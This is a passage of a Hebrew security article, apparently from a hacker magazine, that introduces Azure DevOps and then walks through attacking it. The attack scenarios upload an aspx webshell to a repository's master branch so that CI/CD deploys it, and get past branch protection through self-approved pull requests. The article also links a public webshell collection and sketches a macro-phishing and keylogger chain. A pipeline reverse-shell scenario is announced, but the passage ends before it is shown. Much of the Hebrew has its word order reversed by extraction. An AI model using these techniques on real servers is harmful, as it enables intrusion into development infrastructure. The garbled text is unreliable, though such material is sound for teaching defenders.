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Azure DevOps Exploitation 

  אלקבס ויהונתן דוד אור מאת

 

 הקדמה

 דורש הוא - מתודולוגי שינוי מהווה לכל ומעל קוד לפיתוח מודרנית גישה לחיינו מכניס DevOps-ה תחום

 בודד כלי קיים לא מדוע הסיבה זו. הבדיקות ואנשי התפעול צוותי, הפיתוח צוותי בין הדוק פעולה שיתוף

, התשתית לאיחוד משותפת סינרגיה שיוצרים ופרקטיקות כלים של שלמה משפחה אלא DevOps" עושה"ש

 אחר ניטור וביצוע התשתית קינפוג, הגרסאות שחרור, האריזה, הבדיקות, build-ה תהליכי, הפיתוח סביבת

 .אחת אורקסטרציה אל לגמרי נפרדים היו מזמן לא שעד תחומים איחוד - בקיצור. ריצה בזמן היישומים

 לאנשי שמיועד פורטל ראיתם האחרונה הפעם מתי) לחלוטין שונות ממשק קטגוריות לאחד שנדרש מכיוון

IT ,תוכניתנים ,QA של הכלים סט לתמונה נכנס - שונות סביבות של וסדרה?(  ענן וארכיטקטיAzure 

DevOps. Azure DevOps ולאפשר הפיתוח במחזור לתמוך מהותם שכל וכלים ענן שירותי סדרת היא 

 . הארגון עובד בה ובתשתית הענן בשירותי, התכנות בשפות, בפלטפורמה תלויה שאינה סביבה

 במגזין זה על רושמים אנחנו למה. בפרט  Azure DevOps-ול DevOps-ה לתחום יפה הצגה עשינו אז, טוב

 הוספת - פשוטה היא התשובה? בכלל זה את לקרוא צריכים המגזין קוראי בתור אתם למה? מידע אבטחת

 Microsoft של והנכונות Azure של הצמיחה קצב לאור במיוחד; הכלים לארגז!( יםיורלוונט) חדשים כלים

 . הענן לתשתית 2222-ב שלה העבודה מתוכנית ענננק חלק להשקיע

, רלוונטי תמיד זה הפיתוח בעולם תאוצה שתופסת פלטפורמה על למידה - המידע אבטחת אנשי אתם אם

 .נבון צעד הוא הסביבה של נכון לא בניהול הכרוכים הסיכונים על ללמוד - פיתוח אנשי אתם ואם

 תפעול על מפורט חלק: 2-ל מתחלק המאמר.  מהכל הכל - בקצרה ?בפניכם להציג הולכים אנחנו מה אז

-ש הנעים הרכיבים הם מה :מהבסיס נתחיל ראשית. שלה ניצול המראה וחלק( הפיתוח ועולם) הפלטפורמה

Azure DevOps לכיצד כוללת דוגמה ננתח. מהם אחד כל עם לעבוד ניתן וכיצד מטרתם מה, מהם מורכבת 

 שקשור מה בכל הקורה לעובי נכנס ולבסוף; ושירותים כלים אותם באמצעות פיתוח תומך תהליך נראה

-pipeline יצירת, webshell העלאת באמצעות - הפלטפורמה שרתי על RCE השגת ונציג הסביבה  לתקיפת

 על מלאה ושליטה reverse shell לנו מספקים הקלעים מאחורי אבל תמימים נראים שאומנם שונים ים

 .המכונה
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  Azure DevOpsשל וחוזקות חידושים - בכלל זה את צריכים אנחנו למה

Azure DevOps אתם. קוד ניהול ויכולות אוטומציה, אבטחה יכולות הכוללים, יתרונות מלאאא עימה מביאה 

 לא יעדים וקובעים שלכם המשימות לוח את רואים לא הפרודאקט שאנשי לכם ונמאס הפיתוח בצוות

 תהליכי מקונפגים איך על להסתכל טורח לא אפילו הפיתוח שצוות לכם ונמאס devops אנשי אתם? הגיוניים

 לראות רוצים ואתם הבדיקות בשלב שנפלה QA משימת קיבלתם? מקור לקוד עדכון לדחיפת האוטומציה

 . Azure DevOps על להסתכל לכם ששווה מצב יש? הנפילה של הלוגים את

 :הפשוט למשתמש מציעה שהפלטפורמה המרכזיים היתרונות אלה, ביזנס נדבר בואו

 בענן והתהליכים בפלטפורמה המונגשים הכלים שילוב י"ע נקייה קוד העלאת. 

 התהליכים את לשקף המאפשרות ופעולות תהליכים של אירועים ורישום ניטור - לוגים לוגים לוגים 

 '. וכו' וכו בקוד בעיות, ביצועים בעיות כולל; אמת בזמן

 ב להשתמש ניתן-Azure DevOps בסביבות גם AWS ו-Google Cloud. 

 ב שימוש מאפשר-IaC ( (Infrastructure as Codeבאמצעות  ARM templates התשתית להפוך ובכך 

 .יעיל באופן והבדיקות הפיתוח סביבת את ולנהל לקוד

 תהליך אותו גבי על במקביל עבודה ומאפשרת הפיתוח צוות לכל משותפת הפלטפורמה 

 קוד תהליכי אחר ניטור בקרות הכוללות והזדהות הרשאות ניהול, אבטחה מדיניות? שלי בגבינה נגע מי 

 deployment ותהליכי

 יכולות תצורה ניהול וטכניקות מדויקות בקרות כולל, אוטומטית תאימות מדיניות מאפשר - אבטחה 

 .שונות אבטחה בעיות ומניעת קוד תהליכי אחר וניטור למעקב
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 ?פה לנו יש מה אז

 לנו מציעה Azure DevOps-ש המרכזיים והשירותים רים'הפיצ על בקצרה הסבירנרצה ל, ראשית

 . חלקם את לנצל יכולים אנחנו, תוקפים בתור, כיצד הראותנרצה ל מכן ולאחר בפלטפורמה כמשתמשים

Azure Boards  

Azure Boards תהליכים של בתצורה פועל הוא. יותר בוגרת בצורה אבל שנה לוח כמו מתנהג 

 באמצעות תהליכים לניהול אישית בהתאמה שמולם הממשק את לראות הפיתוח לצוות ומאפשר

 אפשרות(. למטה תמונה, בפרויקט תהליך כל התקדמות המציג) Kanban כדוגמת, שונים עבודה לוחות

, באגים לפתיחת פלטפורמה מספק Azure Boards-ה, בנוסף. ובקרה לניהול נוספים וכלים יומן בתצוגת

 צוות התקדמות את ולבקר לנהל וכמובן הפרויקט את לאפיין ניתן שבעזרתם פיתוח ובקשות משימות

 הפעולות את באמצעותו לבצע ניתן . לראות שיצא למי Gitlab-ב או Jira-ב שיש ללוח דומה בצורה. הפיתוח

 :הבאות

 מותמשי של ועדכונים הוספה  

 (פיצוצים נוח) סטטוס תרשימי ויצירת פעולות עבור שאילתות הגדרת! 

 ניהול Backlog האפליקציה או התהליך של 

 משימות מבוסס ספרינטים תכנון  

 וה המשימות לסקירת ממשק-Spirints 

 ל ריאלי התקדמות צפי להציג-PM הגיוניים לא פיתוח יעדי קובע הוא כאשר  

  :יופי איזה תראו

 

  

https://www.atlassian.com/software/jira/features/scrum-boards#:~:text=The%20scrum%20framework%20enables%20software,and%20promotes%20iterative%2C%20incremental%20delivery.
https://docs.gitlab.com/ee/user/project/issue_board.html#:~:text=The%20issue%20board%20is%20a,a%20feature%20or%20product%20release.&text=Issue%20boards%20help%20you%20to,list%20for%20your%20existing%20issues.
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Azure Repos  

 קוד אחר ומעקב ניהול, בקרה המאפשר כלי - זה יותר או פחות הוא Azure Repos, יופי? Git מכירים

 שהוא מכיוון הפלטפורמה בכל החיוניים הכלים אחד יותר או פחות זה. השונות גרסאותיו פני על הפרויקט

 סביבות לנהל, שינויים אחר מעקב לבצע מאפשר הגרסאות ניהול .הפיתוח צוותי בין פעולה שיתוף מאפשר

 הבחור את יהיה מקום בכל כי - git blame) שינוי שעבר קוד לשחזר ואף'( וכו dev, deployment) שונות קוד

 המשיכה בקשות את לנהל כדי Git של Repos-ב שימוש לבצע ניתן(. בערב בחמישי הפרודקשן את שיפיל

 .הקבצים וניהול

 Azure Repos בשני תומך Source Control הראשון Git והשני TFVC (Team Foundation Version 

Control.) בעזרתם פעולות מגוון לבצע ניתן: 

 קוד ושחזור שינויים אחר מעקב 

 ביצוע push מסודרת בצורה שינויים וניהול  

 חדש קוד ואישור בדיקת, קוד סקרי - pull requests 

 וכו ספציפית חיפוש מילת, קובץ שם לפי - במיוחד אינטראקטיבית חיפוש שורת' 

 קבצים ועריכת לוקאלי למחשב קוד הורדת 

Azure Pipelines  

 וטובה יפה בצורה לספק יודעת GitLab1 גם. מסכימים אנחנו במיוחד דופן יוצאות יכולות לא, כה עד

 pipelines-ה סביבת - התשובה? מצטיינת Azure איפה, כך אם. ומשימות קוד לניהול GUI ממשק מאוד

 תהליכים שילוב באמצעות ופריסה בדיקה, בניה היא Azure Pipeline-ה מטרת. הענן עם והאינטגרציה

  .וענן פלטפורמה, שפה כל עם בעבודה CI/CD המבוססים

 הבדיקה לסביבת נבנה קוד CD בתהליך; הפיתוח של מוקדם בשלב באגים לתפוס נוכל CI הטמעת בעזרת

 אותו ולהנגיש, הקוד את אוטומטית ולבדוק לבנות ניתן Azure Pipeline באמצעות, ולכן. Production-וה

 .בארגון אחרים לצוותים

Pipeline ומגדירים מראש ידועים משאבים לו שמקצים( בהכרח לא אך לרוב אוטומטי) תהליך למעשה הוא 

-ש הבאים בשירותים להשתמש נדרש התהליכים את להגדיר מנת על. היטב מוגדרות משימות של סט לו

Azure מציעה: 

 Azure Logic Apps - לאפליקציה המתממשקים עבודה תהליכי ולריצת ליצירת ענן מבוססת פלטפורמה ,

 .ולתוכנה לשירותים, למידע

  

                                                           
 

1
 . ימים יעידו על ביצועיו ביחס למקבילו.GitLab DevOps -והתממשקות עם תהליכי ענן  pipelines, הם גם פתחו ממשק להרצת GitLabאפרופו  

https://about.gitlab.com/
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 Azure Pipelines - המבוססים תהליכים שילוב באמצעות ופריסה בדיקה, בניה CI/CD עם בעבודה 

 .וענן פלטפורמה, שפה כל

  Azure DevOps REST APIs- מ אוטומטיות פקודות מבוסס ממשק-Azure Pipelines ה לממשק-Repos 

 .Logic Apps בעזרת ?(אחראי שהוא אמרנו מה על מה זוכרים)

 בסיסיות פעולות של האוטומציה עקב משמעותית בצורה זמן לחסוך לנו תאפשר pipelines של טובה בנייה

 מישהו"-ב ופחות) קוד בפיתוח התמקדות הפיתוח לצוות ותאפשר עצמן על שחוזרות( בסיסיות פחות או)

?", עובד לא DB-ל API-ה לכם גם תגידו?", "שנפל Service-ה את להרים בשביל לעשות צריך מה זוכר

 שונים pipelines לשכפל שאפשר העובדה, כן כמו"(. הזההה במקום merge לבצע אפשר אי למה אוףףף"

 . devops-וה התשתיות אנשי של החיים על משמעותית מקלה

  Build multiple-על אוטומציה תהליך לפתח ניתן מאובטח בפיתוח לתמוך או\ו זמן לחסוך מנת על, למשל

branches(בהמשך שנראה כפי )ב ולהשתמש-Jenkins של אוטומציה למימוש CI/CD. 

 

 [Microsoft Azure Pipelines - מקור]

 .עובד הרעיון איך להבין כדי לדוגמה pipeline על נסתכל בואו, טוב

 הגדרות עם YAML בפורמט קובץ -" Starter pipeline"-ב נבחר  ונילה עם להתחיל אוהבים כולם

 :בלבד בסיסיות

 

  

https://www.jenkins.io/
https://docs.microsoft.com/en-us/azure/devops/pipelines/get-started/pipelines-get-started?view=azure-devops
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 ?כאן רואים אנחנו בעצם מה

trigger ה מתי מאפיין-pipeline באמצעות) כתיבה שמתבצעת פעם בכל, הזו הדיפולטיבית בתצורה. רץ 

commits או merges )ה אל-Repo ה של-master .ה של שמירה בעת גם, דיפולטיבית, כן כמו-pipeline הוא 

 . אחת פעם לרוץ מתוכנן

 agent חייבים אנו pipeline-ה באמצעות solution-ל deployment לבצע או הקוד את לבנות בשביל, זאת עם

 להריץ בשביל הנדרשים המשאבים את ומספקים פעולות כלל את מבצעים סוכנים(. צחה בעברית, סוכן)

, pool קיימת כך בשביל. משימות לבצע נוכל לא, פנוי agent יהיה ולא במידה, כלומר. פעם בכל אחת משימה

 . העבודה את שיבצע סוכן ממנה לבחור שנוכל סוכנים של' בריכה'

 או אחת בשורה להיות יכול  script.כרונולוגי בסדר שירצו הסקריפטים את מגדיר steps  שדה, מכן לאחר

 שורה של נכון לא רינדור מונע ובכך multiline string מסמל YAML שבפורמט '|' התו באמצעות שורות כמה

 אחריו לעקוב ניתן שיהיה בשביל  displayName מספקים סקריפט ריצת לכל. הבא הפריט עד חדשה

 .build-ה בתהליך

 Run a one line' בשמות 26-27 בשורות והשני 22 בשורה הראשון - סקריפטים 2 רצים כי לראות ניתן

script 'ו-'Run a multi-line script 'ה את נריץ. בהתאמה-pipeline בתהליך ונסתכל שינוי ללא הדיפולטיבי 

 :שנוצר build-ה

 

 הראש את אוכלים עצמכם את מוצאים אתם אם שימושי) build-ה מתהליך שלב כל ולנתח לבחון ניתן כאשר

 (. debugging על
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 :כדוגמה' run a multi-line script' שלב של הפלט את להציג נבחר

 

  .השרת על שרץ הקוד ממש זה, כלומר

 pipelines בניית הרשאות בעל משתמש לנצל ניתן כיצד ונראה התוקפים כובע את נשים המאמר בהמשך

 .השרת על reverse shell ובפרט RCE להשיג מנת על שונים pipelines להנדס בשביל

 

Azure Test Plans 

Azure Test Plans לצוותי פתרונות מספקת הפלטפורמה. ריקות בידיים נשארו לא הבודקים גם כי 

 מבוסס בדיקות ניהול פתרון בעזרת הקוד איכות אחר ומעקב הערכה, בדיקות ניהול המאפשרת הבדיקות

 . נוספות ובדיקות קלט בדיקות, ידניות לבדיקות הנדרשות היכולות את המספק דפדפן

 .Azure Boards-ה של Kanban board-ה עם בממשק הבדיקה תרחישי את ולעדכן למחוק, להוסיף ניתן
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Azure Artifacts  

 כגון חבילות של ויצירה ניהול, שיתוף המאפשרת, packages לניהול מערכת מנגישה הפלטפורמה

Maven ,NPM או Nuget .ניהול אבל לא או בזה תודו packages רציני קדר זה לפעמים - Dependency   Hell 

 :בשביל ל"הנ הפלטפורמה נוצרה, לכן. חבילות הרבה עם כשעובדים כ"בדר שעוברים אחד תרחיש רק הוא

 (  פעמים מיליון קובץ אותו את למחזר ולא) יעילה בצורה קוד שיתוף 

 ה כל ניהול-Packages אחד במקום 

 הוספת Packages ל-pipeline אינטגרלית בצורה 

 

Extensions Marketplace 

Extension מ נפרד בלתי כחלק. למערכת פונקציונליות שמוסיפות שלישי צד ספריות הן-Azure DevOps ניתן 

 יש, אבל. באתר התוספים חנות ובעזרת Visual Studio Marketplace-ה בעזרת שימושיים תוספים להוסיף

 (.   התקיפה משטח גם ואיתו) יגדל והסיבוכים הטעויות משטח גם כך Extensions יותר ונוסיף שככל לזכור

 

 

 

 

 

https://about.sourcegraph.com/blog/nine-circles-of-dependency-hell/
https://about.sourcegraph.com/blog/nine-circles-of-dependency-hell/
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 'ת עד' א-מ דוגמה

 ?ביחד מנגן הכל כיצד? איתם לעשות אפשר מה אבל, מציעה Azure DevOps-ש כלים מעט לא הכרנו

 . לקצה מקצה הקוד ניהול תהליך כל את עלי ממבט המתארת דוגמה כעת נציג, ששאלתם שמחים

 :מלא תהליך שמראה ענקית דיאגרמה

 

 [pipelines with Azure Pipelines Automate multistage DevOps -מקור]

 בלא נתקל הוא גרסאות וניהול קוד להעלאת בענן עבודה סביבת להקים נדרש סטנדרטי פיתוח צוות כאשר

. הענן באמצעות ולנהל לשלוט, להגדיר שנדרש שירותים של רב מספר ומכיל מורכב התהליך. אתגרים מעט

 . CI/CD Pipelines באמצעות - וסקלבילית מהירה, אוטומטית בצורה הכל לעשות דרך ישנה אך

 :בתרשים שמתואר מה את נתאר

 את וכותב( ענן ספקית של PaaS או פיזי מחשב להיות יכול) שלו הלוקאלי מהמחשב עובד תוכניתן: 3 שלב

 בצד React-ו שרת בצד Node.js מבוססת full-stack אפליקציית לדוגמה  - Visual studio בסביבת הפרויקט

 (.להיות יכול לא מזה 2222 יותר) לקוח

https://docs.microsoft.com/en-us/azure/architecture/example-scenario/devops/automate-azure-pipelines
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 סביבת אל ולעלות להיבנות צריך הקוד כיצד המגדיר YAML Pipeline קובץ מכיל repository-ה :2 שלב

Azure Repos .פעולות לבצע יש כיצד, קרי merges. 

 פעולה מבוסס טריגר)  Webhook נשלח Azure DevOps Repo-ל Git Push שלח שהמפתח ברגע :1-5 שלב

 עבודה תהליכי ולריצת ליצירת ענן מבוססת פלטפורמה, כאמור) Logic App-ה אל( מראש להגדרה הניתן

 (.ולתוכנה לשירותים, למידע, לאפליקציה המתממשקים

 לו הקוראים יש) המרכזי branch-ל שייך שבוצע push-ה אם מבין הוא, הופעל Logic App-שה ברגע :6 שלב

master )ה וכן במידה. לא או-Logic App אחר מחפש pipelines ל התואמים קיימים-Repo .אפשר, כאמור 

 . branch לכל ייעודי pipeline להנדס

. Azure DevOps REST APIs-ה דרך אותו מעדכן Logic App-ה, מתאים pipeline וקיים במידה :7 שלב

 (.כן לרוב אך בהכרח לא) חדש אחד נוצר קיים לא pipeline-ו במידה

 packages-ה כלל) artifact-ה על  deployment ולבצע לפרסם, build להריץ pipeline-ל מאופשר :8 שלב

 Logic App-ל עולה אשר zip תיקיית נשלחת artifact-ה פרסום במהלך. Azure resources-ל( השתמשו בהן

 . Azure של התשתית ידי על למשימה שמוקצים המשאבים לניהול

 סביבת כי מהעובדה נובע ההבדל) Stage || Prod: הסביבות לאחת ומועלה נבנה Pipeline-ה :9-30 שלב

staging ה סביבת את מחקה-Production ל, לקוד בדיקות לבצע בשביל-builds קרובה בסביבה ולעדכונים 

 : נראה זה כך(. Production-ה לסביבת הניתן ככול

 

 ופקודות הוראות מועברות וכך Azure DevOps באמצעות האוטומציה מתהליך חלק מתרחש בעצם כך

 . יעילה בצורה לתשתית

 Azure DevOps Starter השירות באמצעות CI/CD-ל אוטומציה לבצע Azure-ב נוספת אלטרנטיבה קיימת

 הקוד את רק שדורש שהצגנו לתרחיש בניגוד, התשתית את לספק תחילה דורשת זאת אלטרנטיבה אך

 .Azure workload כל עם בשימוש גמישות מאפשר בעצם ובכך
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 הקלעים מאחורי

 עם קצת לשחק שיצא ממכם לאלו. Azure DevOps-ב מתנהל ההרשאות מנגנון איך נראה הקרוב בפרק

 את להכיר יצא בוודאי( Az-500,Az-900) בנושא הכשרות לעשות או בעבר Azure של הענן פלטפורמת

 המאמר במסגרת עליו להרחיב בחרנו. בכלל הענן בפלטפורמת משמעותית דרך אבן שהוא מכיוון הנושא

 את לשים יכול משתמשים הרשאות של נכון לא ניהול, בהמשך האדום בתרחיש שנראה שכפי מכיוון

 .ממשית בסכנה בכללותו הארגון ואת הפרויקט

Authentication 

 התהליך. Azure DevOps-ל להתחבר מנת על מספק שהמשתמש הכניסה פרטי את מזהה ההזדהות תהליך

 :הבאים השחקנים שלושת בעזרת מתרחש

2. Azure Active Directory - Azure AD 

2. Microsoft Account  - MSA 

3. Active Directory - AD 

AD ו-MSA ב להשתמש כמובן מומלץ, בענן בהזדהות תומכים-Azure AD משתמשים מספר יש כאשר אך 

 ".רגיל" AD-ל תהיה העדיפות בענן שלא גדול

 מבלי למערכת להיכנס כדי. Azure DevOps-ל להתממשק יכולים שונים ותהליכים אחרות אפליקציות

 :הבאות האפשרויות מן באחד להשתמש ניתן פעם כל מחדש להזדהות

2. Personal access token 

2. OAuth  

 SSH מבוסס אימות .3

Authorization 

 את נבין. הרשאות של שונים סוגים( מלאאא אבל) מלא קיימים Azure DevOps-ב אבל לא או תתפלאו

 :ל"הנ לגישה המפתח עקרונות

 .לפחות אחת Security Group-ל משוייך Azure DevOps-ב משתמש כל .2

2. Security Groups עצמו בפורטל לשירותים גישה הרשאות מקציאות. 

 .בפורטל שקיימים לשירותים גישה הרשאות המעניק access level מוקצה משתמש לכל .3

 '.וכו Repo, Pipelines כגון השירותים לרוב שונות ברמות נקבעות הרשאות .4

 Team Administrator' extension:כגון Role-base assignments-ה דרך מנוהלות ההרשאות שאר .5

management role וכו.' 

 אליו לגשת שאפשר לפני בהפעלה נדרש שירות כל .6
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 Security-ל המשתמשים כלל של מובנית הוספה בעזרת הינה הרשאות לקבוע הנפוצה השיטה, כלומר

Group המשתמש על הקבוצה של ההרשאות כלל את להחיל ובכך .Azure הגלגל את המציאו לא בהחלט 

 . לזה שקשור מה בכל

 שהוא לאלו למשתמש להעניק נרצה שאותן הרלוונטיות ההרשאות בין פער ישנו או צורך אין לפעמים

 . אישית מותאם  Azure DevOps Security Group ניצור, כזה במקרה לכן. ךצרי אשכרה

Azure DevOps של סט יצרו Security Groups הרשאות אוטומטית בצורה שמעניקות דיפולטיביות 

 .Project Administrator-ו Readers ,Contributors: הנפוצות הקבוצות ביניהן. בקבוצה למשתמשים

 הבניין אבני בשלושת ניעזר הרשאות להעניק שנרצה פעם בכל? תההרשאו את להעניק למי נקבע כיצד

 :הבאים

 ה הרשאת את נעניק-Contributors פונקציונליות עליו ומוסיף הקוד על שעובד למי  

 ה הרשאת את נעניק-Project Administrator הפרויקט משאבי את שמנהל למשתמש  

 ה הרשאת את נעניק-Readers לערוך יכולת ללא בלבד לצפייה הנדרשים למשתמשים 

 :boards-ב ההרשאות ניהול, לדוגמה

 

 [ Azure DevOps | Microsoft Docs -Default permissions quick reference: המלאות לטבלאות קישור]

  

https://docs.microsoft.com/en-us/azure/devops/organizations/security/permissions-access?view=azure-devops#azure-boards
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Access Level 

 בניגוד זאת, המשתמש של לרישיון בהתאם בפורטל אליהם נחשף שאנו בשירותים שולט Access Level-ה

 גם יש שלמשתמש להקפיד נדרש. Azure DevOps-ב לשירותים משתמש של בחיבור ששולטות להרשאות

 .המתאימה גישה הרמת את וגם הרלוונטיות ההרשאות את

Permissions 

 :הם הלוא ההרשאות על ששולטים סטטוסים חמישה שיש זה Permissions על לדעת שצריך מה תכלס

  Allow, Inherited Allow :גישה המאפשרים

 Deny, Inherited Deny and Not Set   :גישה החוסמים

 לראות ניתן, ההרשאות דף נראה כך. Security Group כדוגמת בירושה ומגיעות מנוהלת מההרשאות חלק

 :לירושה האינדיקציה את

 

 לזכור יש אך, הפרויקט ומשאבי אופי לפי לו המתאימה בדרך ההזדהות דרך את יממש פרויקט כל, לסיכום

 ההרשאות את ורק אך לעובד המותיר כזה, מדויק להיות נדרש החברה ועובדי למפתחים הרשאות שמתן

 (. least privilegesעיקרון) לו הנחוצות
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 הרצת אל להגיע מנת על מציעה שהפלטפורמה מרכזיים בכלים להשתמש ניתן כיצד נדגים הבאים בסעיפים

 הם, שקיימים ביותר המשוכללים מן אינם שנציג התקיפה שוקטורי העובדה למרות(. RCE) השרת על קוד

 כגון פלטפורמה עם בעבודה כרוכים אשר( ביותר והשכיחים) הבסיסיים הסיכונים את מיטבית בצורה יציגו

Azure DevOps ומשימות בדיקות מערך, קוד לניהול סביבה  גם מרכזת אשר CI/CD דרך pipeline-ים . 

 

 הכיף עם מתחילים

 בואו, הפיתוח לשולחן מביאה שהיא החוזקות ומה בנויה היא כיצד, עובדת המערכת איך שהבנו לאחר

 best הצגת ידי על ומשעממת רגילה בצורה האבטחה נושא את להציג ניתן. האבטחתי הצד על נסתכל

practice ומה" שצריך כמו פועלים לא" כאשר קורה מה להראות רוצים דווקא אנחנו אבל ואחרים כאלה 

 הרשאות מידי יותר הקצנו אם קורה מה? בארגון לפגוע רוצה סורר עובד אם קורה מה. בכך הסיכונים

 אפשר האם? תוקף בידי שלהם credentials-ה וכעת phishing במתקפת נפלו והם חלשים למשתמשים

 ?רשתית לתקיפה וקטור להוות ומשם RCE להשגת devops-ה בשרת חולשה לנצל

 .לכם שבא לאן ומשם RCE-ל בקלות להוביל יכולה Azure DevOps פלטפורמת על מוצלחת התקפה – ק"אמל

 :אקספלוטציה לביצוע דרכים 3 נראה הקרוב הפרק במסגרת

 גיט באמצעות זדוני קובץ העלאת 

 זדוני קובץ והעלאת חלשות מגבלות מעקף  

 ניצול pipeline-שונות בדרכים ים 

 משתמשים של credentials לקבל הולכים אנחנו הבאים בתרחישים :שמתחילים לפני קטנטנה הערה

 איזה ביצענו כי להניח יכולים אתם. אותם השגנו לכאורה כיצד על להתעכב ולא שונות הרשאות בעלי

; שלם לאירגון excel macros בתוכו המכיל excel קובץ עם מייל שליחת שכלל מתוחכם phishing קמפיין

 C&C לשרת התחבר אשר Powershell לסקריפט התממשק הוא הקורבן במחשב ירד שהקובץ ולאחר

 key logger של malware מהשרת הוריד הסקריפט, מכן לאחר. הקמפיין בשביל במיוחד שהקמנו מרוחק

 פרטי את לנו ושלח העמדה על לוקאלי HTTP שרת פתח הוא הקורבן של credentials מספר שקלט ולאחר

  בכביש לפנינו שנסעה ממשאית נפלו credentials-ה אחד בהיר ביום שפשוט או. שלו login-ה

 

 ?נתחילש אז
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 Webshell העלאת

 . השרת מכונת על RCE-ל להוביל יכול Azure Repos-ה סביבת של ניצול כיצד נראה הראשון בחלק

. הפרויקט של הקוד את לנהל יכולים מפתחים בו המקום היא Azure Repos סביבת, מקודם כבר שאמרנו כפי

, המקרים ברוב. הפרויקט של המקור קוד את ולשנות קבצים & תיקיות לצרף, חדשים ים-branch ליצור ניתן

 שהשרת השירותים נוצרים ודרכו Production-ב השרת על רץ יום של שבסופו זה הוא שם ששוכב הקוד

 הרשאות לנו יש אם, כלומר(. web באפליקציית ובמדובר במידה) הדפדפן דרך הקצה למשתמש מנגיש

 .שונות בדרכים RCE ואפילו XSS להשיג שנוכל גבוה סיכוי, הפרויקט לקוד הוספה שמאפשרות

 בצורה מרחוק קוד הרצת) webshell היא אינטרנטי שרת על קוד הרצת להשגת ביותר הפשוטה הדרך

 אינטרנט ששרתי בפורמט קובץ של בהעלאה כ"בסה מדובר(. בלבד הדפדפן באמצעות אינטראקטיבית

 שרתי עבור php-ב נסתפק לרוב אך בה תומך שהשרת תכנות שפת בכל להשתמש ניתן. לרנדר יכולים

apache/nginx וב-asp , aspxעבור IIS של Windows: 

 

 בצורה..?( .בסיסיים לומר יותר נכון אולי) יםבסיסי webshells מספר עם מגיעה Kali linux מכונת

 Open source פרויקטי באמצעות( הכלים של התחכום ואת) הסט את משמעותית להרחיב ניתן. דיפולטיבית

 : כגון

https://github.com/tennc/webshell 

  

https://github.com/tennc/webshell
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 -ה של branch-ל לכתוב שיכולה Nathalie Heniey (Nathen) בשם למשתמשת נתחבר .לעבודה יאללה

master .בשם פרויקט למשתמשת כי לראות אפשר :spectral  

 

 לאחר. הטרמינל דרך Git באמצעות לוקאלית למחשב אלינו הסביבה כל את נוריד, הסיפור את לפשט בשביל

 לפי aspx  קבצי מנגיש שהוא לראות וניתן IIS הוא שהשרת מכיוון) apsx בפורמט webshell קובץ נעתיק, מכן

 .master-ל push ונבצע master-ה ענף אל( "X-Powered-By: ASP.NET" שדה

 :הבאות הפקודות את בטרמינל נריץ כך בשביל
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  :שלנו הקובץ את לראות נוכל הפרויקט של Repos-ה סביבת תחת

 

 : לפי הפלטפורמה של GUI-ה באמצעות ל"הנ את לבצע יכולים היינו: הערה

 

 שינוי שבוצע ברגע deployment עבור) build-ה שלבי כל את יבצע CI/CD-ה שתהליך לחכות הוא שנותר כל

 .לאוויר שלנו הקובץ את יעלה ובכך( המקור בקוד
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 :root directory-ה תחת שהעלנו webshell-ל ניגש שניות 32 בערך לאחר

-ה לענף קבצים להעלאת הרשאה להיות צריכה( אדמיניסטרטיביים) ספציפיים למשתמשים רק :מסקנה

master ה שתהליך מומלץ, בנוסף-deployment המקור לקוד שינוי שבוצע ברגע אוטומטית בצורה יקרה לא 

 (.CI/CD בתצורת עובדים כאשר משמעותית קלים החיים את עושה זה כי אם) הפרויקט של

 

 pull requestמשתמש חלש עם הרשאות לאישור  :תרחיש שני

 להעלות יכול שלא משתמש בלנויק. קוד אליו להעלות יכול לא משתמש ואף מאובטח master-ה ענף, כעת

 build שמבצע CI/CD-ה סקריפט, כן כמו. pull בקשות לאשר אפשרות לו יש אבל master-ל ישירות קוד

 .להפעילו יכולים ספציפיים משתמשים רק וכעת בוטל אוטומטית בצורה

 את נקבל( מקודם שעשינו למה בדומה) master-ה אל webshell-ה קובץ את להעלות ננסה אם, כעת

 :הבאה השגיאה

 

 .master-ה ענף אל push לבצע מנת על pull request-ה בקשת את לנו שיאשרו חייבים אנחנו, כלומר
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 ליצור וכך דרכו checkout לבצע, חדש branch ליצור נוכל, ל"הנ הבסיסי ההגנה מנגנון את לעקוף מנת על

pull request: 

 

 :Azure devops בפלטפורמת pull request ניצור, master-ה תוך אל שיצרנו לענף merge לבצע נרצה
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welp ,ה את לאשר יכולים שאנחנו מסתמן-pull request: 

 

 :בהצלחה הושלם merge-ה תהליך

 

 build-ה את להריץ, CI/CD-ה תהליך את ידנית ולהפעיל לחפש, pipelines-ה לסביבת ללכת הוא הבא השלב

job שיצרנו החדש הענף אל אותו ולכוון: 

 

 :בפועל מתבצע build-ה תהליך ואת שיצרנו הבקשה את נראה
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-ה שסביבת החולשות את יותר לעומק ננתח הבא בתרחיש).  Production לסביבת עבר שלנו הקוד  - כלומר

pipelines ה את לתפוס נוכל קצר זמן לאחר (.בתוכה טומנת-webshell קוד באמצעותו ולהריץ הדפדפן דרך 

 :השרת על

 

 שמשתמש לעזאזל למה אבל" לצעוק אמורים אתם, טובה בצורה התרחיש אחרי ועקבתם במידה, הממה

 - צודקים לגמרי ואתם" ???קיימים pipelines להפעלת אופציה וגם pull requests לאישור הרשאות גם יקבל

 .עקיפות בדרכים אותם לנצל מאפשרים אנחנו אם שירותים להקשיח הטעם מה

( שלא וחבל) יהיה לא Azure DevOps כמו נעים רכיבים מרובות למערכות, שלרוב היא הפשוטה התשובה

 תפעול מגבלות ותקיימ. ההרשאות ניהול אחרי אדוקה בצורה מעקב ויבצע הכל את שינהל ארכיטקט\מנהל

 code לאחר pull requests אישור ביצוע לאפשר כמו ,זמני פתרון לטובת לעגל ירצו הקצה משתמשי שתמיד

reviews תהליכי להרצת הרשאות נתינת וכמו build ל-deployment לזרז בשביל למפתחים Production. 

 קורה מה - זה את בדיוק להדגים בא, הראשון מהתרחיש מהותית בצורה שונה לא כי אם, השני התרחיש

 קיימים עדיין; הסיפור לא שזה מגלים מקרוב הסיטואציה את כשבודקים אבל מוקשח" מרגיש" הכל כאשר

 .אדמין הרשאות אין אחד-ףשלא למרות, חזקים משתמשים
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 בלבד build-בצוות האחראי על תהליך ה DevOps-תרחיש שלישי: איש ה

-ה בתהליך השתלבות באמצעות הוא ביותר הנפוץ Azure DevOps שרת על תקיפה הוקטור הנראה ככל

build .ליצירת הרשאות עם משתמש לידיים וקיבלנו במידה: מעכשיו כבר זה את נגיד אנחנו pipeline זה 

  .המשחק סוף

 לא שקיבלנו Robin Islip (robis) משתמשה פה. הקודמים מהתרחישים מהותית שונה השלישי התרחיש

 pipelines ליצור יכול הוא( משמעותי אבל וזה) אבל, Repos-ה של הקוד ניהול בסביבת לגעת בכלל יכול

